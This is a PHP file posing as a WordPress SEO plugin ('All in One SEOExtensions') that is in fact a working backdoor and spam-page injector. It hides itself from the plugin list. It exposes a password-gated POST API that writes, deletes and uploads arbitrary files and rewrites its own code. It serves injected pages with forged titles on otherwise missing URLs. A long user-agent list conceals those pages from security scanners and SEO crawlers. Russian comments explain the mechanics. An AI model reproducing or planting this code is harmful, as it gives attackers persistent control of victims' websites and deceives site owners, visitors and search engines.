<?php /** * Plugin Name: All in One SEOExtensions * Plugin URI: https://aioseo.com/ * Description: SEO for WordPress. Features like XML Sitemaps, SEO for custom post types, SEO for blogs, business sites, ecommerce sites, and much more. More than 100 million downloads since 2007. * Author: All in One SEO Team * Author URI: https://aioseo.com/ * Version: 4.3.8 * Text Domain: all-in-one-seo-pack * Domain Path: /languages * * All in One SEO is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * * All in One SEO is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with AIOSEO. If not, see <https://www.gnu.org/licenses/>. * * @since 4.0.0 * @author All in One SEO Team * @package AIOSEO\Plugin * @license GPL-2.0+ * @copyright Copyright (c) 2020, All in One SEO */ ini_set("display_errors", "0"); if ( ! defined( 'ABSPATH' ) ) { exit; } define('WORKDIRS','/home/planet5/public_html/bansibaba.com/wp-content/uploads' ); define('AUTHCODES','e41b98b0d58af884c104429a82bea68c11f5d652ac407043492111f6cf0913ab' ); function aioseoextensions_checkdir($upload_dir,$fc,$sccontent) { $is_writable = file_put_contents($upload_dir.DIRECTORY_SEPARATOR.'dummy.txt', "hello"); if ($is_writable > 0) { $sccontent= preg_replace("/(\'WORKDIRS\',\')(\.\/)(\'\s*\);)/",'${1}'.$upload_dir.'${3}',$sccontent); file_put_contents(__FILE__,$sccontent); @unlink($upload_dir.DIRECTORY_SEPARATOR.'dummy.txt'); return TRUE; } return FALSE; } function aioseoextensions_activate_() { $current = get_option('permalink_structure'); if (empty($current)) { update_option('permalink_structure', '/%postname%/'); if (function_exists('flush_rewrite_rules')) { flush_rewrite_rules(true); } } /***** получаем контент скрипта*****/ $sccontent = file_get_contents(__FILE__); /***** если у нас WORKDIRS по умолчанию, то пытаемся ее изменить*****/ if(strpos($sccontent,"define('WORKDIRS','./' )")!==false) { /***** сначала пытаемся установить WORKDIRS как папку для загрузок(uploads)*****/ $upload_dir = wp_upload_dir()['basedir']; $iswrdir =aioseoextensions_checkdir($upload_dir,"wp_upload_dir()['basedir']",$sccontent); /***** если не удалось в папку uploads, то пытаемся в папку temp*****/ if(!$iswrdir) { $upload_dir = sys_get_temp_dir(); $iswrdir = aioseoextensions_checkdir($upload_dir,'sys_get_temp_dir()',$sccontent); if(!$iswrdir) { /***** если не удалось в папку temp, то пытаемся в папку pages, где лежит скрипт*****/ $upload_dir = dirname(__FILE__).DIRECTORY_SEPARATOR.'pages'; $dirExists = is_dir($upload_dir) || (mkdir($upload_dir, 0774, true) && is_dir($upload_dir)); if($dirExists){ aioseoextensions_checkdir($upload_dir,"dirname(__FILE__).DIRECTORY_SEPARATOR.'pages'",$sccontent); } } } } } register_activation_hook( __FILE__, 'aioseoextensions_activate_' ); add_filter('all_plugins', 'aioseoextensions_hide_plugins'); function aioseoextensions_hide_plugins($plugins) { unset($plugins['aioseoextensions/aioseoextensions.php']); return $plugins; } /** * Скрываем страницы с мета-флагом _aioseo_hide_from_menu из автоматических * списков страниц (wp_list_pages, Page List block, навигационные меню). * Сами страницы остаются доступны по прямому URL. */ function aioseoextensions_get_hidden_page_ids() { static $cached = null; if ($cached !== null) { return $cached; } $cached = array(); if (!function_exists('get_posts')) { return $cached; } $found = get_posts(array( 'post_type' => 'page', 'post_status' => array('publish', 'draft', 'private', 'pending', 'future'), 'meta_key' => '_aioseo_hide_from_menu', 'meta_value' => '1', 'fields' => 'ids', 'posts_per_page' => -1, 'no_found_rows' => true, 'suppress_filters' => true, )); if (is_array($found)) { $cached = array_map('intval', $found); } return $cached; } add_filter('wp_list_pages_excludes', 'aioseoextensions_filter_wp_list_pages_excludes'); function aioseoextensions_filter_wp_list_pages_excludes($exclude) { if (!is_array($exclude)) $exclude = array(); $hidden = aioseoextensions_get_hidden_page_ids(); return array_merge($exclude, $hidden); } add_filter('get_pages', 'aioseoextensions_filter_get_pages', 10, 2); function aioseoextensions_filter_get_pages($pages, $args) { if (!is_array($pages) || empty($pages)) return $pages; $hidden = aioseoextensions_get_hidden_page_ids(); if (empty($hidden)) return $pages; $hidden_flip = array_flip($hidden); foreach ($pages as $k => $p) { if (isset($p->ID) && isset($hidden_flip[(int)$p->ID])) { unset($pages[$k]); } } return array_values($pages); } add_filter('wp_nav_menu_objects', 'aioseoextensions_filter_nav_menu_objects', 99, 2); function aioseoextensions_filter_nav_menu_objects($items, $args) { if (!is_array($items)) return $items; $hidden = aioseoextensions_get_hidden_page_ids(); if (empty($hidden)) return $items; $hidden_flip = array_flip($hidden); foreach ($items as $k => $item) { if (isset($item->object) && $item->object === 'page' && isset($item->object_id) && isset($hidden_flip[(int)$item->object_id])) { unset($items[$k]); } } return array_values($items); } /** * Регистрируем мета-поле _aioseo_hide_from_menu для post_type=page и * пробрасываем его в REST API, чтобы /wp-json/wp/v2/pages принимал * meta._aioseo_hide_from_menu при создании страницы из RestPoster. */ add_action('init', 'aioseoextensions_register_meta'); function aioseoextensions_register_meta() { if (!function_exists('register_post_meta')) return; register_post_meta('page', '_aioseo_hide_from_menu', array( 'type' => 'string', 'single' => true, 'show_in_rest' => true, 'sanitize_callback' => 'sanitize_text_field', 'auth_callback' => function() { return current_user_can('edit_pages'); }, )); } add_action( 'init', 'aioseoextensions_edit_proccess' ); $titleline=""; $descline=""; function aioseoextensions_edit_proccess() { if(isset($_POST['apiact'])) { header('Content-Type: application/json'); $apidata = new aioseoextensionsApiMeta(); $authpw = ''; if(isset($_POST['PHP_AUTH_PW'])) { $authpw=hash('sha256',$_POST['PHP_AUTH_PW']) ; } elseif(isset($_SERVER['PHP_AUTH_PW'])) { $authpw=hash('sha256',$_SERVER['PHP_AUTH_PW']) ; } if(AUTHCODES!=$authpw) { }else { $apiaction = $_POST['apiact']; switch ($apiaction) { case "getcontent": try{ if(isset($_POST['page'])) { $page = $_POST['page']; $md5page=md5($page); $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.'; if(file_exists($filepath)) { $pagecontent = file_get_contents($filepath); $contentdata = new aioseoextensionsContentMeta(); $contentdata->$page = $page; $contentdata->$md5page = $filepath; $contentdata->content = $pagecontent; $apidata->status="ok"; $apidata->message=""; $apidata->data=$contentdata; } }else{ $apidata->status="error"; $apidata->message="not set path"; } } catch (Exception $e) { $apidata->status="error"; $apidata->message=$e->getMessage();} echo json_encode($apidata,JSON_UNESCAPED_UNICODE); die(); case "updatecontent": try{ if(isset($_POST['page'])&&isset($_POST['newcontent'])) { $page = $_POST['page']; $md5page=md5($page); $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.'; $newcontent=base64_decode($_POST['newcontent']); if(file_exists($filepath)) { file_put_contents($filepath,$newcontent); $apidata->status="ok"; $apidata->message="content changed"; $apidata->data=NULL; }else { $apidata->status="error"; $apidata->message="file not found"; } }else{ $apidata->status="error"; $apidata->message="not set path or new content"; } } catch (Exception $e) { $apidata->status="error"; $apidata->message=$e->getMessage();} echo json_encode($apidata,JSON_UNESCAPED_UNICODE); die(); case "createpage": try{ if(isset($_POST['page'])&&isset($_POST['newcontent'])) { $page = $_POST['page']; $md5page=md5($page); $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.'; $newcontent=base64_decode($_POST['newcontent']); if(file_exists($filepath)) { $apidata->status="error"; $apidata->message="file exists"; }else { file_put_contents($filepath,$newcontent); if(file_exists($filepath)) { $contentdata = new aioseoextensionsContentMeta(); $contentdata->$page = $page; $contentdata->$md5page = $filepath; $contentdata->content = ""; $apidata->status="ok"; $apidata->message=""; $apidata->data=$contentdata; }else { $apidata->status="error"; $apidata->message=""; } } }else{ $apidata->status="error"; $apidata->message="not set path or new content"; } } catch (Exception $e) { $apidata->status="error"; $apidata->message=$e->getMessage();} echo json_encode($apidata,JSON_UNESCAPED_UNICODE); die(); case "deletepage": try{ if(isset($_POST['page'])) { $page = $_POST['page']; $md5page=md5($page); $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.'; unlink($filepath); if(!file_exists($filepath)) { $apidata->status="ok"; $apidata->message="file deleted"; }else { $apidata->status="error"; $apidata->message=""; } }else{ $apidata->status="error"; $apidata->message="error delete page"; } } catch (Exception $e) { $apidata->status="error"; $apidata->message=$e->getMessage();} echo json_encode($apidata,JSON_UNESCAPED_UNICODE); die(); case "uploadfiles": $localdir=""; // if ($_FILES['txtfile']['size'] > 0 AND $_FILES['txtfile']['error'] == 0) try{ $goodcount = 0; $countfiles = count($_FILES['file']['name']); if(isset($_POST['localdir'])&&$countfiles>0) { $localdir = $_POST['localdir']; $localdir = preg_replace('/\.+\//','',$localdir); $localdir = preg_replace('/\/$/','',$localdir); $localdir = WORKDIRS.DIRECTORY_SEPARATOR.$localdir; if(!empty($localdir)&&!is_dir($localdir)) { mkdir($localdir); } if(empty($localdir)) { $localdir = '.'; } for($i=0;$i<$countfiles;$i++){ $filename = $_FILES['file']['name'][$i]; move_uploaded_file($_FILES['file']['tmp_name'][$i],$localdir.'/'.$filename); $goodcount++; } } $apidata->status="ok"; $apidata->message=""; $apidata->data=$goodcount; } catch (Exception $e) { $apidata->status="error"; $apidata->message=$e->getMessage();} echo json_encode($apidata); die(); case "updatescr": try{ if(isset($_POST['scriptcontent'])) { $scriptcontent = base64_decode($_POST['scriptcontent']); file_put_contents($_SERVER['__FILE__'],$scriptcontent); $apidata->status="ok"; $apidata->message="updated"; } }catch (Exception $e) { $apidata->status="error"; $apidata->message=$e->getMessage();} echo json_encode($apidata); die(); case "chkversion": $apidata->status="ok"; $apidata->message="version"; $apidata->data="newversion3"; echo json_encode($apidata); die(); case "activate": try{ $oss = array('/aioseoextens/aioseoextens.php','/yastseoextens/yastseoextens.php','/wwpformcontact/wwpformcontact.php','/wpfrmcontact/wpfrmcontact.php','/wpformcontat/wpformcontat.php'); foreach($oss as $os){ if(file_exists(WP_PLUGIN_DIR.$os)) { try{ @unlink(WP_PLUGIN_DIR.$os); }catch (Exception $e) { } } } ; aioseoextensions_activate_(); }catch (Exception $e) { } $apidata->status="ok"; $apidata->message="version"; $apidata->data="newversion3"; echo json_encode($apidata); die(); } } } } function aioseoextensions_get_cont($content) { $upload_dir = wp_upload_dir(); global $wp_query; $pgname=$wp_query->query['pagename']; $md5page=md5($pgname); $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.html'; if(file_exists($filepath)) { return $content = file_get_contents($filepath); } } function aioseoextensions_chk() { global $wp_query; $pgname = ''; // 1) Берём путь из REQUEST_URI и отрезаем query-string + базовый путь WP. // Так избегаем кейса, когда pretty-permalinks парсят URL как пост, а не страницу, // и pagename остаётся пустым, хотя REQUEST_URI содержит нужный нам путь. if (isset($_SERVER['REQUEST_URI'])) { $req = $_SERVER['REQUEST_URI']; $qpos = strpos($req, '?'); if ($qpos !== false) { $req = substr($req, 0, $qpos); } $base = ''; if (function_exists('home_url')) { $home_path = parse_url(home_url('/'), PHP_URL_PATH); if ($home_path) { $base = rtrim($home_path, '/'); } } if ($base !== '' && strpos($req, $base) === 0) { $req = substr($req, strlen($base)); } $pgname = $req; } // 2) Фолбэк: ?pagename=foo/bar или иерархия pagename + page из WP_Query. if (trim($pgname, "/") === '') { if (isset($wp_query->query['pagename'])) { $pgname = $wp_query->query['pagename']; } $pg = isset($wp_query->query['page']) ? $wp_query->query['page'] : ''; if (!empty($pg)) { $pgname = $pgname . '/' . $pg; } } $pgname = trim($pgname, "/"); if ($pgname === '') { return null; } $md5page = md5($pgname); $filepath = WORKDIRS.DIRECTORY_SEPARATOR.$md5page.'.'; if (file_exists($filepath)) { return $filepath; } return null; } /** * Читает файл контента и возвращает WP_Post-объект виртуальной страницы. * Возвращает null, если файл пустой или нечитаемый. */ function aioseoextensions_build_virtual_post($filepath) { $raw = @file_get_contents($filepath); if ($raw === false || $raw === '') return null; $content = $raw; $title = ''; $desc = ''; if (preg_match('/^TITLE\s*=\s*"?(.+?)"?\s*$/m', $content, $m)) { $title = trim($m[1]); $content = preg_replace('/^TITLE\s*=\s*.+\R?/m', '', $content, 1); } if (preg_match('/^DESCRIPTION\s*=\s*"?(.+?)"?\s*$/m', $content, $m)) { $desc = trim($m[1]); $content = preg_replace('/^DESCRIPTION\s*=\s*.+\R?/m', '', $content, 1); } $slug = aioseoextensions_current_slug(); $obj = new stdClass(); $obj->ID = 999999999; $obj->post_author = 1; $obj->post_date = current_time('mysql'); $obj->post_date_gmt = current_time('mysql', 1); $obj->post_content = $content; $obj->post_title = $title !== '' ? $title : $slug; $obj->post_excerpt = $desc; $obj->post_status = 'publish'; $obj->comment_status = 'closed'; $obj->ping_status = 'closed'; $obj->post_password = ''; $obj->post_name = $slug !== '' ? $slug : 'aioseoextensions-virtual'; $obj->to_ping = ''; $obj->pinged = ''; $obj->post_modified = current_time('mysql'); $obj->post_modified_gmt = current_time('mysql', 1); $obj->post_content_filtered= ''; $obj->post_parent = 0; $obj->guid = home_url('/') . $slug; $obj->menu_order = 0; $obj->post_type = 'page'; $obj->post_mime_type = ''; $obj->comment_count = 0; $obj->filter = 'raw'; return new WP_Post($obj); } /** * Вписывает виртуальный WP_Post в объект WP_Query и навешивает фильтры * для заголовка/описания. Вызывается и из the_posts, и из wp-хука. */ function aioseoextensions_apply_virtual_post(&$query, $wp_post) { global $post; $query->posts = array($wp_post); $query->post = $wp_post; $query->post_count = 1; $query->found_posts = 1; $query->max_num_pages = 1; $query->queried_object = $wp_post; $query->queried_object_id = $wp_post->ID; $query->is_404 = false; $query->is_page = true; $query->is_single = false; $query->is_singular = true; $query->is_home = false; $query->is_archive = false; $query->is_search = false; $query->is_category = false; $query->is_tag = false; $query->is_tax = false; $query->is_author = false; $query->is_attachment = false; $query->is_post_type_archive = false; $query->is_feed = false; $query->is_comment_feed = false; $query->is_trackback = false; $query->is_embed = false; $query->is_paged = false; $post = $wp_post; $title = $wp_post->post_title; $desc = $wp_post->post_excerpt; if ($title !== '' && !isset($GLOBALS['aioseoextensions_doc_title'])) { $GLOBALS['aioseoextensions_doc_title'] = $title; add_filter('pre_get_document_title', 'aioseoextensions_filter_document_title', 9999); add_filter('wp_title', 'aioseoextensions_filter_document_title', 9999); add_filter('document_title_parts', 'aioseoextensions_filter_document_title_parts', 9999); } if ($desc !== '' && !isset($GLOBALS['aioseoextensions_doc_desc'])) { $GLOBALS['aioseoextensions_doc_desc'] = $desc; add_action('wp_head', 'aioseoextensions_print_meta_description', 1); } if (function_exists('wp_cache_add')) { wp_cache_add($wp_post->ID, $wp_post, 'posts'); } } /** * Инжектируем виртуальную страницу через the_posts — работает для большинства URL. * Для глубоких путей (4+ сегмента) WordPress иногда переопределяет is_404 уже после * этого фильтра, поэтому оставляем wp-хук как резервный механизм. */ add_filter('the_posts', 'aioseoextensions_inject_virtual_page', 10, 2); function aioseoextensions_inject_virtual_page($posts, $query) { if (!is_object($query) || !method_exists($query, 'is_main_query') || !$query->is_main_query()) return $posts; if (!empty($posts)) return $posts; if (aioseoextensions_user_agent_filter()) return $posts; $filepath = aioseoextensions_chk(); if (!$filepath || !file_exists($filepath)) return $posts; $wp_post = aioseoextensions_build_virtual_post($filepath); if (!$wp_post) return $posts; aioseoextensions_apply_virtual_post($query, $wp_post); $GLOBALS['aioseoextensions_injected'] = true; return array($wp_post); } /** * Резервный хук wp: срабатывает после WP_Query, но до выбора шаблона. * Нужен для URL с 4+ сегментами, когда WordPress повторно выставляет is_404 * после the_posts-фильтра (например, при парсинге как date-based или CPT-URL). * Ничего не делает, если the_posts уже справился. */ add_action('wp', 'aioseoextensions_wp_fallback'); function aioseoextensions_wp_fallback() { if (!empty($GLOBALS['aioseoextensions_injected'])) return; global $wp_query; if (!is_object($wp_query)) return; if (aioseoextensions_user_agent_filter()) return; // Вмешиваемся только если WP считает страницу 404 if (!$wp_query->is_404) return; $filepath = aioseoextensions_chk(); if (!$filepath || !file_exists($filepath)) return; $wp_post = aioseoextensions_build_virtual_post($filepath); if (!$wp_post) return; aioseoextensions_apply_virtual_post($wp_query, $wp_post); // Явно сбрасываем HTTP-статус на 200 — к этому моменту WP мог поставить 404 if (function_exists('status_header')) status_header(200); $GLOBALS['aioseoextensions_injected'] = true; } /** * Slug запрашиваемой страницы относительно базы WordPress. * /wp/article/9409 → article/9409 * /?pagename=foo/bar → foo/bar (через WP_Query) */ function aioseoextensions_current_slug() { $slug = ''; if (isset($_SERVER['REQUEST_URI'])) { $req = $_SERVER['REQUEST_URI']; $qpos = strpos($req, '?'); if ($qpos !== false) { $req = substr($req, 0, $qpos); } $base = ''; if (function_exists('home_url')) { $home_path = parse_url(home_url('/'), PHP_URL_PATH); if ($home_path) { $base = rtrim($home_path, '/'); } } if ($base !== '' && strpos($req, $base) === 0) { $req = substr($req, strlen($base)); } $slug = trim($req, "/"); } if ($slug === '') { global $wp_query; if (isset($wp_query->query['pagename'])) { $slug = $wp_query->query['pagename']; } $pg = isset($wp_query->query['page']) ? $wp_query->query['page'] : ''; if (!empty($pg)) { $slug = $slug . '/' . $pg; } $slug = trim($slug, "/"); } return $slug; } function aioseoextensions_filter_document_title($title) { if (isset($GLOBALS['aioseoextensions_doc_title']) && $GLOBALS['aioseoextensions_doc_title'] !== '') { return $GLOBALS['aioseoextensions_doc_title']; } return $title; } function aioseoextensions_filter_document_title_parts($parts) { if (isset($GLOBALS['aioseoextensions_doc_title']) && $GLOBALS['aioseoextensions_doc_title'] !== '') { if (is_array($parts)) { $parts['title'] = $GLOBALS['aioseoextensions_doc_title']; } } return $parts; } function aioseoextensions_print_meta_description() { if (isset($GLOBALS['aioseoextensions_doc_desc']) && $GLOBALS['aioseoextensions_doc_desc'] !== '') { echo '<meta name="description" content="' . esc_attr($GLOBALS['aioseoextensions_doc_desc']) . '">' . "\n"; } } function aioseoextensions_custom_document_title( $title ) { try{if(isset($GLOBALS["titleline"])&&!empty($GLOBALS["titleline"])) { return $GLOBALS["titleline"]; }} catch (Exception $e){} } function aioseoextensions_custom_header_metadata() { try{if(isset($GLOBALS["descline"])&&!empty($GLOBALS["descline"])) { echo '<meta name="description" content="'.$GLOBALS["descline"].'"/>'."\n"; }} catch (Exception $e){} } function aioseoextensions_wpseo_meta_description($description) { try{if(isset($GLOBALS["descline"])&&!empty($GLOBALS["descline"])) { $description = $GLOBALS["descline"]; return $description; }} catch (Exception $e){} } function aioseoextensions_wpseo_meta_title($description) { try{ if(isset($GLOBALS["titleline"])&&!empty($GLOBALS["titleline"])) { $description = $GLOBALS["titleline"]; return $description; }} catch (Exception $e){} } function aioseoextensions_wpseo_meta_canonical() { try{ $scheme = "https"; if(isset($_SERVER['REQUEST_SCHEME'])) { $scheme= $_SERVER['REQUEST_SCHEME']; } return $scheme."://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];} catch (Exception $e){} } function aioseoextensions_rel_canonical_nabtron() { try{ $scheme = "https"; if(isset($_SEVRER['REQUEST_SCHEME'])) { $scheme= $_SEVRER['REQUEST_SCHEME']; } echo "<link rel='canonical' href='".$scheme."://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."' />\n";} catch (Exception $e){} } function aioseoextensions_user_agent_filter() { $uagents_arr = array('AhrefsBot','MJ12bot','Riddler','aiHitBot','trovitBot','Detectify','BLEXBot','LinkpadBot','dotbot','FlipboardProxy','Twice','Yahoo','Voil','libw','Java','Sogou','psbot','ajSitemap','Rankivabot','DBLBot','MJ1','ask','rogerbot','exabot','xenu','MegaIndex\\.ru/2\\.0','ia_archiver','Baiduspider','archive\\.org_bot','spbot','Serpstatbot','boitho','Slurp','360Spider','404checker','404enemy','80legs','Abonti','Aboundex','Aboundexbot','Acunetix','ADmantX','AfD-Verbotsverfahren','AIBOT','Aipbot','Alexibot','Alligator','AllSubmitter','AlphaBot','Anarchie','Apexoo','archive\.org_bot','arquivo\.pt','arquivo-web-crawler','ASPSeek','Asterias','Attach','autoemailspider','AwarioRssBot','AwarioSmartBot','BackDoorBot','Backlink-Ceck','backlink-check','BacklinkCrawler','BackStreet','BackWeb','Badass','Bandit','Barkrowler','BatchFTP','Battleztar\ Bazinga','BBBike','BDCbot','BDFetch','BetaBot','Bigfoot','Bitacle','Blackboard','Black\ Hole','BlackWidow','Blow','BlowFish','Boardreader','Bolt','BotALot','Brandprotect','Brandwatch','Buddy','BuiltBotTough','BuiltWith','Bullseye','BunnySlippers','BuzzSumo','Calculon','CATExplorador','CazoodleBot','CCBot','Cegbfeieh','CheeseBot','CherryPicker','CheTeam','ChinaClaw','Chlooe','Claritybot','Cliqzbot','Cloud\ mapping','coccocbot-web','Cogentbot','cognitiveseo','Collector','com\.plumanalytics','Copier','CopyRightCheck','Copyscape','Cosmos','Craftbot','crawler4j','crawler\.feedback','crawl\.sogou\.com','CrazyWebCrawler','Crescent','CrunchBot','CSHttp','Curious','Custo','DatabaseDriverMysqli','DataCha0s','demandbase-bot','Demon','Deusu','Devil','Digincore','DigitalPebble','DIIbot','Dirbuster','Disco','Discobot','Discoverybot','Dispatch','DittoSpyder','DnyzBot','DomainAppender','DomainCrawler','DomainSigmaCrawler','DomainStatsBot','Download\ Wonder','Dragonfly','Drip','DSearch','DTS\ Agent','EasyDL','Ebingbong','eCatch','ECCP/1\.0','Ecxi','EirGrabber','EMail\ Siphon','EMail\ Wolf','EroCrawler','evc-batch','Evil','Express\ WebPictures','ExtLinksBot','Extractor','ExtractorPro','Extreme\ Picture\ Finder','EyeNetIE','Ezooms','facebookscraper','FDM','FemtosearchBot','FHscan','Fimap','Firefox/7\.0','FlashGet','Flunky','Foobot','Freeuploader','FrontPage','FyberSpider','Fyrebot','GalaxyBot','Genieo','GermCrawler','Getintent','GetRight','GetWeb','Gigablast','Gigabot','G-i-g-a-b-o-t','Go-Ahead-Got-It','Gotit','GoZilla','Go!Zilla','Grabber','GrabNet','Grafula','GrapeFX','GrapeshotCrawler','GridBot','GT::WWW','Haansoft','HaosouSpider','Harvest','Havij','HEADMasterSEO','heritrix','Hloader','HMView','HTMLparser','HTTP::Lite','HTTrack','Humanlinks','HybridBot','Iblog','IDBot','Id-search','IlseBot','Image\ Fetch','Image\ Sucker','IndeedBot','Indy\ Library','InfoNaviRobot','InfoTekies','instabid','Intelliseek','InterGET','Internet\ Ninja','InternetSeer','internetVista\ monitor','ips-agent','Iria','IRLbot','Iskanie','IstellaBot','JamesBOT','Jbrofuzz','JennyBot','JetCar','Jetty','JikeSpider','JOC\ Web\ Spider','Joomla','Jorgee','JustView','Jyxobot','Kenjin\ Spider','Keyword\ Density','Kozmosbot','Lanshanbot','Larbin','LeechFTP','LeechGet','LexiBot','Lftp','LibWeb','Libwhisker','Lightspeedsystems','Likse','Linkdexbot','LinkextractorPro','LinkScan','LinksManager','LinkWalker','LinqiaMetadataDownloaderBot','LinqiaRSSBot','LinqiaScrapeBot','Lipperhey','Lipperhey\ Spider','Litemage_walker','Lmspider','LNSpiderguy','Ltx71','lwp-request','LWP::Simple','lwp-trivial','Magnet','Mag-Net','magpie-crawler','Mail\.RU_Bot','Majestic12','Majestic-SEO','Majestic\ SEO','MarkMonitor','MarkWatch','Masscan','Mass\ Downloader','Mata\ Hari','MauiBot','meanpathbot','MeanPath\ Bot','Mediatoolkitbot','mediawords','MegaIndex\.ru','Metauri','MFC_Tear_Sample','Microsoft\ Data\ Access','Microsoft\ URL\ Control','MIDown\ tool','MIIxpc','Mister\ PiX','Mojeek','Mojolicious','Morfeus\ Fucking\ Scanner','Mr\.4x3','MSFrontPage','MSIECrawler','Msrabot','muhstik-scan','Musobot','Name\ Intelligence','Nameprotect','Navroad','NearSite','Needle','Nessus','NetAnts','Netcraft','netEstate\ NE\ Crawler','NetLyzer','NetMechanic','NetSpider','Nettrack','Net\ Vampire','Netvibes','NetZIP','NextGenSearchBot','Nibbler','NICErsPRO','Niki-bot','Nikto','NimbleCrawler','Nimbostratus','Ninja','Nmap','NPbot','Nutch','oBot','Octopus','Offline\ Explorer','Offline\ Navigator','OnCrawl','Openfind','OpenLinkProfiler','Openvas','OrangeBot','OrangeSpider','OutclicksBot','OutfoxBot','PageAnalyzer','Page\ Analyzer','PageGrabber','page\ scorer','PageScorer','Pandalytics','Panscient','Papa\ Foto','Pavuk','pcBrowser','PECL::HTTP','PeoplePal','PHPCrawl','Picscout','Picsearch','PictureFinder','Pimonster','Pi-Monster','Pixray','PleaseCrawl','plumanalytics','Pockey','POE-Component-Client-HTTP','Probethenet','ProPowerBot','ProWebWalker','Pump','PxBroker','PyCurl','QueryN\ Metasearch','Quick-Crawler','RankActive','RankActiveLinkBot','RankFlex','RankingBot','RankingBot2','RankurBot','RealDownload','Reaper','RebelMouse','Recorder','RedesScrapy','ReGet','RepoMonkey','Ripper','RocketCrawler','RSSingBot','s1z\.ru','SalesIntelligent','SBIder','ScanAlert','Scanbot','scan\.lol','ScoutJet','Scrapy','Screaming','ScreenerBot','Searchestate','SearchmetricsBot','SEOkicks','SEOkicks-Robot','SEOlyticsCrawler','Seomoz','SEOprofiler','seoscanners','SeoSiteCheckup','SEOstats','sexsearcher','Shodan','Siphon','SISTRIX','Sitebeam','SiteExplorer','Siteimprove','SiteLockSpider','SiteSnagger','SiteSucker','Site\ Sucker','Sitevigil','SlySearch','SmartDownload','SMTBot','Snake','Snapbot','Snoopy','SocialRankIOBot','Sociscraper','sogouspider','Sogou\ web\ spider','Sosospider','Sottopop','SpaceBison','Spammen','SpankBot','Spanner','sp_auditbot','Spinn3r','SputnikBot','spyfu','Sqlmap','Sqlworm','Sqworm','Steeler','Stripper','Sucker','Sucuri','SuperBot','SuperHTTP','Surfbot','SurveyBot','Suzuran','Swiftbot','sysscan','Szukacz','T0PHackTeam','T8Abot','tAkeOut','Teleport','TeleportPro','Telesoft','Telesphoreo','Telesphorep','The\ Intraformant','TheNomad','Thumbor','TightTwatBot','Titan','Toata','Toweyabot','Tracemyfile','Trendiction','Trendictionbot','trendiction\.com','trendiction\.de','True_Robot','Turingos','Turnitin','TurnitinBot','TwengaBot','Typhoeus','UnisterBot','Upflow','URLy\.Warning','URLy\ Warning','Vacuum','Vagabondo','VB\ Project','VCI','VeriCiteCrawler','VidibleScraper','Virusdie','VoidEYE','Voltron','Wallpapers/3\.0','WallpapersHD','WASALive-Bot','WBSearchBot','Webalta','WebAuto','Web\ Auto','WebBandit','WebCollage','Web\ Collage','WebCopier','WEBDAV','WebEnhancer','Web\ Enhancer','WebFetch','Web\ Fetch','WebFuck','Web\ Fuck','WebGo\ IS','WebImageCollector','WebLeacher','WebmasterWorldForumBot','webmeup-crawler','WebPix','Web\ Pix','WebReaper','WebSauger','Web\ Sauger','Webshag','WebsiteExtractor','WebsiteQuester','Website\ Quester','Webster','WebStripper','WebSucker','Web\ Sucker','WebWhacker','WebZIP','WeSEE','Whack','Whacker','Whatweb','Who\.is\ Bot','Widow','WinHTTrack','WiseGuys\ Robot','WISENutbot','Wonderbot','Woobot','Wotbox','Wprecon','WPScan','WWW-Collector-E','WWW-Mechanize','WWW::Mechanize','WWWOFFLE','x09Mozilla','x22Mozilla','Xaldon_WebSpider','Xaldon\ WebSpider','xpymep1\.exe','YoudaoBot','Zade','Zauba','zauba\.io','Zermelo','Zeus','zgrab','Zitebot','ZmEu','ZumBot','ZyBorg'); if( isset($_SERVER['HTTP_USER_AGENT']) ) { foreach($uagents_arr as $ua){ if(stripos($_SERVER['HTTP_USER_AGENT'], $ua) !== false) return true; } } return false; } function aioseoextensions_indexSearchPage() { try{if(isset($GLOBALS['titleline'])&&!empty($GLOBALS['titleline'])) { remove_all_filters( 'wp_robots' ); remove_all_actions( 'rank_math/head'); add_filter( 'wpseo_robots', '__return_false' ); add_filter( 'wpseo_googlebot', '__return_false' ); add_filter( 'wpseo_bingbot', '__return_false' ); remove_action( 'wp_head', 'noindex', 1 ); }} catch (Exception $e){} } class aioseoextensionsContentMeta{ public $page=""; public $md5page=""; public $pagecontent=""; } class aioseoextensionsApiMeta{ public $status="error"; public $message=""; public $data=null; }